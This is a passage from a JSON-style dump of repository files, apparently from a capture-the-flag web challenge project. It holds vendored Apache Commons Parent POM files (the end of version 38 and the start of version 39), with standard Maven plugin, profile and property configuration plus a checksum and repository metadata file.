<artifactId>maven-site-plugin</artifactId>\n        <version>${commons.site-plugin.version}</version>\n        <configuration>\n          <!-- Exclude the navigation file for Maven 1 sites\n               and the changes file used by the changes-plugin,\n               as they interfere with the site generation. -->\n          <moduleExcludes>\n            <xdoc>navigation.xml,changes.xml</xdoc>\n          </moduleExcludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-report-plugin</artifactId>\n        <version>${commons.surefire-report.version}</version>\n        <configuration>\n          <aggregate>${commons.surefire-report.aggregate}</aggregate>\n        </configuration>\n      </plugin>\n      <!-- Other plugins, alpha order by groupId and artifactId -->\n      <plugin>\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n        <version>${commons.rat.version}</version>\n        <!-- Should agree with config in build section -->\n        <configuration>\n          <!--\n               If you wish to override this list in the component (child) pom, ensure you use\n                   <excludes combine.children=\"merge\">\n               so that the child pom entries replace the parent entries\n           -->\n          <excludes combine.children=\"append\">\n            <exclude>site-content/**</exclude>\n            <exclude>.checkstyle</exclude>\n            <exclude>.fbprefs</exclude>\n            <exclude>.pmd</exclude>\n            <exclude>src/site/resources/download_*.cgi</exclude>\n            <exclude>src/site/resources/profile.*</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>clirr-maven-plugin</artifactId>\n        <version>${commons.clirr.version}</version>\n        <configuration>\n          <minSeverity>${minSeverity}</minSeverity>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>jdepend-maven-plugin</artifactId>\n        <version>${commons.jdepend.version}</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n\n      <profile>\n        <!--\n          Make the version parts of the maven.compiler.target property\n          available as separate properties, so that they can be used to define\n          the java signature artifactId used by animal-sniffer etc.\n        -->\n        <id>parse-target-version</id>\n        <activation>\n          <property>\n            <!--\n               This property should always be defined.\n               The intention is to ensure that the profile is always enabled.\n               (activeByDefault only applies if other profiles are not enabled) \n            -->\n            <name>user.home</name>\n          </property>\n        </activation>\n        <build>\n          <plugins>\n            <plugin>\n              <groupId>org.codehaus.mojo</groupId>\n              <artifactId>build-helper-maven-plugin</artifactId>\n              <executions>\n                <execution>\n                  <id>parse-version</id>\n                  <!-- default is:  <phase>validate</phase>  -->\n                  <goals>\n                    <goal>parse-version</goal>\n                  </goals>\n                  <configuration>\n                    <propertyPrefix>javaTarget</propertyPrefix>\n                    <versionString>${maven.compiler.target}</versionString>\n                  </configuration>\n                </execution>\n              </executions>\n            </plugin>\n          </plugins>\n        </build>\n      </profile>\n\n      <!-- \n           Runs the Animal Sniffer plugin to check that generated code does not included references\n           to methods/classes etc that are not present in the standard Java runtime for the defined target version.\n           To bypass the checks, define \"animal.sniffer.skip\" as true, or create the file \"src/site/resources/profile.noanimal\" \n      -->\n\n      <profile>\n        <id>animal-sniffer</id>\n        <activation>\n          <!--  active unless the file is found -->\n          <file>\n            <missing>src/site/resources/profile.noanimal</missing>\n          </file>\n        </activation>\n        \n        <properties>\n          <!-- define this as a property to allow command-line override -->\n          <animal-sniffer.signature>java${javaTarget.majorVersion}${javaTarget.minorVersion}</animal-sniffer.signature>\n        </properties>\n\n        <build>\n          <plugins>\n\n            <!-- Run the Animal Sniffer checks -->\n            <plugin>\n              <groupId>org.codehaus.mojo</groupId>\n              <artifactId>animal-sniffer-maven-plugin</artifactId>\n              <version>${commons.animal-sniffer.version}</version>\n              <executions>\n                <execution>\n                  <id>checkAPIcompatibility</id>\n                  <!-- default is:  <phase>process-classes</phase>  -->\n                  <!-- Note: if the plugin is ever enhanced to check test classes\n                       it will presumably need to be bound to process-test-classes instead \n                  -->\n                  <goals>\n                    <goal>check</goal>\n                  </goals>\n                </execution>\n              </executions>\n              <configuration>\n                <signature>\n                  <groupId>org.codehaus.mojo.signature</groupId>\n                  <artifactId>${animal-sniffer.signature}</artifactId>\n                  <version>${commons.animal-sniffer.signature.version}</version>\n                </signature>\n              </configuration>\n            </plugin>\n\n          </plugins>\n        </build>\n      </profile>\n\n    <profile>\n      <id>jacoco</id>\n      <activation>\n        <!--\n            N.B. in spite of what the Maven docs may say,\n            activation conditions are ORed together, see:\n            http://jira.codehaus.org/browse/MNG-4565\n            Fairly useless, but that's what was done in\n            http://jira.codehaus.org/browse/MNG-3106\n\n            So we cannot also check for Java 1.5+\n            This should not be a problem now as the profile is optional.\n            Components that still target Java 1.4 or earlier\n            just need to ensure they don't use JaCoCo by default.\n        -->\n        <file>\n          <exists>src/site/resources/profile.jacoco</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.jacoco</groupId>\n            <artifactId>jacoco-maven-plugin</artifactId>\n            <version>${commons.jacoco.version}</version>\n          <!-- Note that since JaCoCo relies on an agent to perform tests,\n               it changes the surefire arguments line. If a component also\n               needs to change the argument line of maven-surefire-plugin,\n               then it must add ${argLine} property (which is set by JaCoCo)\n               in the argLine configuration element of maven-surefire-plugin\n               to preserve JaCoCo settings. -->\n            <executions>\n              <execution>\n                <id>prepare-agent</id>\n                <phase>process-test-classes</phase>\n                <goals>\n                  <goal>prepare-agent</goal>\n                </goals>\n              </execution>\n              <execution>\n                <id>report</id>\n                <phase>site</phase>\n                <goals>\n                  <goal>report</goal>\n                </goals>\n              </execution>\n              <execution>\n                <id>check</id>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n                <configuration>\n                  <rules>\n                    <rule>\n                      <element>BUNDLE</element>\n                      <limits>\n                        <limit>\n                          <counter>CLASS</counter>\n                          <value>COVEREDRATIO</value>\n                          <minimum>${commons.jacoco.classRatio}</minimum>\n                        </limit>\n                        <limit>\n                          <counter>INSTRUCTION</counter>\n                          <value>COVEREDRATIO</value>\n                          <minimum>${commons.jacoco.instructionRatio}</minimum>\n                        </limit>\n                        <limit>\n                          <counter>METHOD</counter>\n                          <value>COVEREDRATIO</value>\n                          <minimum>${commons.jacoco.methodRatio}</minimum>\n                        </limit>\n                        <limit>\n                          <counter>BRANCH</counter>\n                          <value>COVEREDRATIO</value>\n                          <minimum>${commons.jacoco.branchRatio}</minimum>\n                        </limit>\n                        <limit>\n                          <counter>LINE</counter>\n                          <value>COVEREDRATIO</value>\n                          <minimum>${commons.jacoco.lineRatio}</minimum>\n                        </limit>\n                        <limit>\n                          <counter>COMPLEXITY</counter>\n                          <value>COVEREDRATIO</value>\n                          <minimum>${commons.jacoco.complexityRatio}</minimum>\n                        </limit>\n                      </limits>\n                    </rule>\n                  </rules>\n                  <haltOnFailure>${commons.jacoco.haltOnFailure}</haltOnFailure>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.jacoco</groupId>\n            <artifactId>jacoco-maven-plugin</artifactId>\n            <version>${commons.jacoco.version}</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n\n    <profile>\n      <id>cobertura</id>\n      <activation>\n        <file>\n          <exists>src/site/resources/profile.cobertura</exists>\n        </file>\n      </activation>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>${commons.cobertura.version}</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n\n    <!--\n         Profile for Commons releases via Nexus.\n         Assembles artifacts, creates source and javadoc jars, signs them and adds hashes.\n    -->\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-install-plugin</artifactId>\n            <configuration>\n              <createChecksum>true</createChecksum>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-source-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                  <goal>test-jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-jar-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>test-jar</goal>\n                </goals>\n                <configuration>\n                  <!-- Avoids an error when releasing the parent pom -->\n                  <skipIfEmpty>true</skipIfEmpty>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <!-- Pass these arguments to the deploy plugin. -->\n              <arguments>-Prelease</arguments>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-javadoc-jar</id>\n                <goals>\n                  <goal>javadoc</goal>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n            <configuration>\n              <source>${maven.compiler.source}</source>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <inherited>true</inherited>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>single</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n     <!--\n       profile to update the Apache parent pom profile of the same name\n       to better suit the requirements of Apache Commons.\n       [Requires further work]\n     -->\n    <profile>\n      <id>apache-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <releaseProfiles>apache-release</releaseProfiles>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-test-sources</id>\n                <goals>\n                  <goal>test-jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-install-plugin</artifactId>\n            <configuration>\n              <createChecksum>true</createChecksum>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jar-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>test-jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.3\n       (JAVA_1_3_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.3</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.3</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_3_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_3_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.4\n       (JAVA_1_4_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.4</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.4</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_4_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_4_HOME}/bin/java</commons.surefire.java>\n        <!-- later versions of surefire don't support Java 1.4 -->\n        <commons.surefire.version>2.11</commons.surefire.version>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.5\n       (JAVA_1_5_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.5</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.5</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_5_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_5_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.6\n       (JAVA_1_6_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.6</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.6</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_6_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_6_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.7\n       (JAVA_1_7_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.7</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.7</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_7_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_7_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.8\n       (JAVA_1_8_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.8</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.8</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_8_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_8_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.9\n       (JAVA_1_9_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.9</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.9</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_9_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_9_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!-- N.B. when adding new java profiles, be sure to update\n         the _removeheaders list in the maven_bundle_plugin configuration -->\n\n    <!--\n     | Profile to allow testing of deploy phase\n     | e.g.\n     | mvn deploy -Ptest-deploy -Prelease -Dgpg.skip\n     -->\n    <profile>\n      <id>test-deploy</id>\n      <properties>\n        <altDeploymentRepository>id::default::file:target/deploy</altDeploymentRepository>\n      </properties>\n    </profile>\n\n    <!--\n      Profile to build all Commons \"proper\" components.\n\n      The trunks of all \"proper\" components can be checked out using:\n          https://svn.apache.org/repos/asf/commons/trunks-proper/\n\n      This profile is a convenience which can be used, for example, to build all the component sites:\n          mvn -Ptrunks-proper site\n\n      or, to clean up:\n          mvn -Ptrunks-proper clean\n\n      see http://issues.apache.org/jira/browse/COMMONSSITE-30\n      -->\n    <profile>\n      <id>trunks-proper</id>\n      <modules>\n        <!-- not yet using mvn module>../attributes</module-->\n        <module>../bcel</module>\n        <module>../beanutils</module>\n        <module>../betwixt</module>\n        <module>../chain</module>\n        <module>../cli</module>\n        <module>../codec</module>\n        <module>../collections</module>\n        <module>../compress</module>\n        <module>../configuration</module>\n        <module>../daemon</module>\n        <module>../dbcp</module>\n        <module>../dbutils</module>\n        <module>../digester</module>\n        <module>../discovery</module>\n        <module>../el</module>\n        <module>../email</module>\n        <module>../exec</module>\n        <module>../fileupload</module>\n        <module>../functor</module>\n        <module>../imaging</module>\n        <module>../io</module>\n        <module>../jci</module>\n        <module>../jcs</module>\n        <!-- not yet using mvn module>../jelly</module-->\n        <module>../jexl</module>\n        <module>../jxpath</module>\n        <module>../lang</module>\n        <module>../launcher</module>\n        <module>../logging</module>\n        <module>../math</module>\n        <module>../modeler</module>\n        <module>../net</module>\n        <module>../ognl</module>\n        <module>../pool</module>\n        <module>../primitives</module>\n        <module>../proxy</module>\n        <module>../scxml</module>\n        <!-- not yet using mvn module>../transaction</module-->\n        <module>../validator</module>\n        <module>../vfs</module>\n      </modules>\n    </profile>\n\n    <profile>\n      <!--\n          Generate release notes in top-level directory from src/changes/changes.xml\n          Usage:\n          mvn changes:announcement-generate -Prelease-notes [-Dchanges.version=nnn]\n\n          Defining changes.version allows one to create the RN without first removing the SNAPSHOT suffix.\n\n          Requires file src/changes/release-notes.vm.\n          A sample template is available from:\n          https://svn.apache.org/repos/asf/commons/proper/commons-parent/trunk/src/changes/release-notes.vm\n       -->\n      <id>release-notes</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-changes-plugin</artifactId>\n            <version>${commons.changes.version}</version>\n            <configuration>\n              <template>release-notes.vm</template>\n              <templateDirectory>src/changes</templateDirectory>\n              <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n              <announcementDirectory>.</announcementDirectory>\n              <announcementFile>RELEASE-NOTES.txt</announcementFile>\n              <announceParameters>\n                <releaseVersion>${commons.release.version}</releaseVersion>\n              </announceParameters>\n            </configuration>\n            <executions>\n              <execution>\n                <id>create-release-notes</id>\n                <phase>generate-resources</phase>\n                <goals>\n                  <goal>announcement-generate</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <!--\n        Automatically run the buildnumber plugin unless the buildNumber.skip property is defined as true\n    -->\n    <profile>\n      <id>svn-buildnumber</id>\n      <activation>\n        <property>\n          <name>!buildNumber.skip</name>\n          <value>!true</value>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>buildnumber-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <phase>generate-resources</phase>\n                <goals>\n                  <goal>create</goal>\n                </goals>\n              </execution>\n            </executions>\n            <configuration>\n              <!-- Use committed revision so it does not change every time svn update is run -->\n              <useLastCommittedRevision>true</useLastCommittedRevision>\n              <!-- default revision number if unavailable -->\n              <revisionOnScmFailure>??????</revisionOnScmFailure>\n              <doCheck>false</doCheck>\n              <doUpdate>false</doUpdate>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <!-- optional profile to use javasvn instead of the SVN CLI for the buildNumber plugin -->\n    <profile>\n      <id>javasvn</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>buildnumber-maven-plugin</artifactId>\n            <configuration>\n              <providerImplementations>\n                <svn>javasvn</svn>\n              </providerImplementations>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <!-- profile to allow the use of plugin versions that require Java 7+ -->\n    <profile>\n      <id>jdk7-plugin-fix-version</id>\n      <activation>\n        <jdk>[1.7,)</jdk>\n      </activation>\n      <properties>\n        <!-- TODO should these be separately overrideable properties?\n            early versions are unlikely to be updated, but current latest will be\n         -->\n        <commons.findbugs.version>3.0.0</commons.findbugs.version>\n        <!-- Current latest version requires Java 7 when running Maven -->\n        <commons.animal-sniffer.version>1.13</commons.animal-sniffer.version>\n      </properties>\n    </profile>\n\n    <!-- allow simple creation of the site without any optional reports -->\n    <profile>\n      <id>site-basic</id>\n      <properties>\n        <skipTests>true</skipTests>\n        <maven.javadoc.skip>true</maven.javadoc.skip>\n        <cobertura.skip>true</cobertura.skip>\n        <findbugs.skip>true</findbugs.skip>\n        <checkstyle.skip>true</checkstyle.skip>\n        <clirr.skip>true</clirr.skip>\n        <changes.jira.skip>true</changes.jira.skip>\n        <rat.skip>true</rat.skip> <!-- from version 0.12 -->\n        <jacoco.skip>true</jacoco.skip>\n        <skipSurefireReport>true</skipSurefireReport>\n      </properties>\n    </profile>\n\n  </profiles>\n\n  <properties>\n    <!-- configuration bits for cutting a release candidate, must be overridden by components -->\n    <commons.release.version>${project.version}</commons.release.version>\n    <commons.rc.version>RC1</commons.rc.version>\n    <commons.jira.id>COMMONSSITE</commons.jira.id>\n\n    <!-- Default configuration for compiler source and target JVM -->\n    <!-- Do NOT change this; it must remain as 1.3 -->\n    <maven.compiler.source>1.3</maven.compiler.source>\n    <maven.compiler.target>1.3</maven.compiler.target>\n\n    <!-- compiler and surefire plugin settings for \"java\" profiles -->\n    <commons.compiler.fork>false</commons.compiler.fork>\n    <commons.compiler.compilerVersion />\n    <commons.compiler.javac />\n    <commons.surefire.java />\n\n    <!-- plugin versions (allows same value in reporting and build sections) -->\n    <commons.surefire.version>2.18.1</commons.surefire.version>\n    <commons.surefire-report.version>2.18.1</commons.surefire-report.version>\n    <commons.javadoc.version>2.10.2</commons.javadoc.version>\n    <commons.rat.version>0.11</commons.rat.version>\n    <commons.changes.version>2.11</commons.changes.version>\n    <commons.clirr.version>2.6.1</commons.clirr.version>\n    <commons.jxr.version>2.5</commons.jxr.version>\n    <commons.project-info.version>2.8</commons.project-info.version>\n    <commons.wagon-ssh.version>2.8</commons.wagon-ssh.version>\n    <commons.site-plugin.version>3.4</commons.site-plugin.version>\n    <commons.jacoco.version>0.7.4.201502262128</commons.jacoco.version>\n    <commons.cobertura.version>2.7</commons.cobertura.version>\n    <commons.jdepend.version>2.0</commons.jdepend.version>\n    <commons.compiler.version>3.2</commons.compiler.version>\n    <commons.scm-publish.version>1.1</commons.scm-publish.version>\n    <commons.findbugs.version>2.5.5</commons.findbugs.version>\n    <!-- plugin versions 1.12 and 1.13 currently require Java 7 -->\n    <commons.animal-sniffer.version>1.11</commons.animal-sniffer.version>\n    <!--  Almost all signatures use version 1.0. Allow override just in case -->\n    <commons.animal-sniffer.signature.version>1.0</commons.animal-sniffer.signature.version>\n\n    <!-- Default values for the download-page generation by commons-build-plugin -->\n    <commons.release.name>${project.artifactId}-${commons.release.version}</commons.release.name>\n    <commons.release.desc />\n    <commons.binary.suffix>-bin</commons.binary.suffix>\n    <commons.release.2.name>${project.artifactId}-${commons.release.2.version}</commons.release.2.name>\n    <commons.release.2.desc />\n    <commons.release.2.binary.suffix>-bin</commons.release.2.binary.suffix>\n    <commons.release.3.name>${project.artifactId}-${commons.release.3.version}</commons.release.3.name>\n    <commons.release.3.desc />\n    <commons.release.3.binary.suffix>-bin</commons.release.3.binary.suffix>\n\n    <!-- Default values for the jacoco-maven-plugin reports -->\n    <commons.jacoco.classRatio>1.00</commons.jacoco.classRatio>\n    <commons.jacoco.instructionRatio>0.90</commons.jacoco.instructionRatio>\n    <commons.jacoco.methodRatio>0.95</commons.jacoco.methodRatio>\n    <commons.jacoco.branchRatio>0.85</commons.jacoco.branchRatio>\n    <commons.jacoco.complexityRatio>0.85</commons.jacoco.complexityRatio>\n    <commons.jacoco.lineRatio>0.90</commons.jacoco.lineRatio>\n    <commons.jacoco.haltOnFailure>false</commons.jacoco.haltOnFailure>\n\n    <!-- Commons Component Id -->\n    <commons.componentid>${project.artifactId}</commons.componentid>\n\n    <!-- Configuration properties for the OSGi maven-bundle-plugin -->\n    <commons.osgi.symbolicName>org.apache.commons.${commons.componentid}</commons.osgi.symbolicName>\n    <commons.osgi.export>org.apache.commons.*;version=${project.version};-noimport:=true</commons.osgi.export>\n    <commons.osgi.import>*</commons.osgi.import>\n    <commons.osgi.dynamicImport />\n    <commons.osgi.private />\n    <commons.osgi.excludeDependencies>true</commons.osgi.excludeDependencies>\n\n    <!-- location of any manifest file used by maven-jar-plugin -->\n    <commons.manifestfile>${project.build.directory}/osgi/MANIFEST.MF</commons.manifestfile>\n\n    <!--\n      Make the deployment protocol pluggable. This allows to switch to\n      other protocols like scpexe, which some users prefer over scp.\n    -->\n    <commons.deployment.protocol>scp</commons.deployment.protocol>\n\n    <!--\n      Encoding of Java source files: ensures that the compiler and\n      the javadoc generator use the right encoding. Subprojects may\n      overwrite this, if they are using another encoding.\n    -->\n    <commons.encoding>iso-8859-1</commons.encoding>\n    <!-- used in this pom to provide the Javadoc HTML file encoding -->\n    <commons.docEncoding>${commons.encoding}</commons.docEncoding>\n    <!-- Define source encoding for filtering; used by general plugins -->\n    <project.build.sourceEncoding>${commons.encoding}</project.build.sourceEncoding>\n    <!-- This is used by reporting plugins -->\n    <project.reporting.outputEncoding>${commons.encoding}</project.reporting.outputEncoding>\n\n    <!-- Javadoc link to Java API.  Default is Java 1.7; components can override to other versions -->\n    <commons.javadoc.java.link>http://docs.oracle.com/javase/7/docs/api/</commons.javadoc.java.link>\n    <commons.javadoc.javaee.link>http://docs.oracle.com/javaee/6/api/</commons.javadoc.javaee.link>\n\n    <!-- build meta inf -->\n    <maven.build.timestamp.format>yyyy-MM-dd HH:mm:ssZ</maven.build.timestamp.format>\n    <implementation.build>${scmBranch}@r${buildNumber}; ${maven.build.timestamp}</implementation.build>\n\n    <!-- Allow Clirr severity to be overriden by the command-line option -DminSeverity=level -->\n    <minSeverity>info</minSeverity>\n\n    <!-- Allow surefire-report aggregation to be easily configured for multi-module projects -->\n    <commons.surefire-report.aggregate>false</commons.surefire-report.aggregate>\n\n    <!-- Allow changes Jira report to be restricted to just the current version (plugin default is false)-->\n    <commons.changes.onlyCurrentVersion>false</commons.changes.onlyCurrentVersion>\n    <!-- Allow changes Jira report maxEntries to be overridden (plugin default 100) -->\n    <commons.changes.maxEntries>100</commons.changes.maxEntries>\n    <!-- Allow changes Jira report runOnlyAtExecutionRoot to be overridden (plugin default is false) -->\n    <commons.changes.runOnlyAtExecutionRoot>false</commons.changes.runOnlyAtExecutionRoot>\n\n    <!-- scm publish plugin configuration -->\n    <commons.site.cache>${user.home}/commons-sites</commons.site.cache>\n    <!-- value modules can override it -->\n    <commons.site.path>${project.artifactId}</commons.site.path>\n\n    <commons.scmPubUrl>https://svn.apache.org/repos/infra/websites/production/commons/content/proper/${project.artifactId}</commons.scmPubUrl>\n    <commons.scmPubCheckoutDirectory>${commons.site.cache}/${commons.site.path}</commons.scmPubCheckoutDirectory>\n    <commons.scmPubServer>commons.site</commons.scmPubServer>\n\n    <sonar.host.url>https://analysis.apache.org/</sonar.host.url>\n\n  </properties>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/38/commons-parent-38.pom.sha1",
    "content": "b1fe2a39dc1f76d14fbc402982938ffb5ba1043a"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/39/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:44 CST 2018\ncommons-parent-39.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/39/commons-parent-39.pom",
    "content": "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!--\n\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>16</version>\n  </parent>\n  <groupId>org.apache.commons</groupId>\n  <artifactId>commons-parent</artifactId>\n  <packaging>pom</packaging>\n  <version>39</version>\n  <name>Apache Commons Parent</name>\n  <url>http://commons.apache.org/</url>\n  <description>The Apache Commons Parent POM provides common settings for all Apache Commons components.</description>\n\n<!--\nVersion 39:\n\n- Update Compiler Plugin : 3.2 -> 3.3\n- Update Build Helper Plugin : 1.8 -> 1.9.1\n- Update Release Plugin : 2.5.1 -> 2.5.2\n- Update Javadoc Plugin : 2.10.2 -> 2.10.3\n- Update Jacoco 0.7.4.201502262128 -> 0.7.5.201505241946\n- Move assembly to standard location. src/main => src/assembly/src.xml\n- Update animal-sniffer Plugin : 1.13 -> 1.14 (for java 7+ builds) supporting Java8\n- dropped the trunks-proper profile\n\n -->\n\n  <!-- Maven versions plugin reports an error if this is omitted -->\n  <prerequisites>\n    <maven>3.0.1</maven>\n  </prerequisites>\n\n  <ciManagement>\n    <system>continuum</system>\n    <url>https://continuum-ci.apache.org/</url>\n  </ciManagement>\n\n  <!--\n    In release 31, the maven.compile.* properties were corrected to maven.compiler.*\n    [See COMMONSSITE-69]\n    If updating from a previous version, please check the property definitions\n\n    Starting with version 22, the RAT plugin has changed Maven group and id, so any existing configuration\n    needs to be updated.\n    To fix component POMs, please change any occurrences of:\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>rat-maven-plugin</artifactId>\n    to the new values:\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n\n    Site deployment\n    ===============\n    Cannot define this here at present, see https://issues.apache.org/jira/browse/COMMONSSITE-26.\n\n    The following should be added to the component POM:\n\n    <distributionManagement>\n      <site>\n        <id>commons.site</id>\n        <name>Apache Commons Site SVN</name>\n        <url>scm:svn:${commons.scmPubUrl}</url>\n      </site>\n    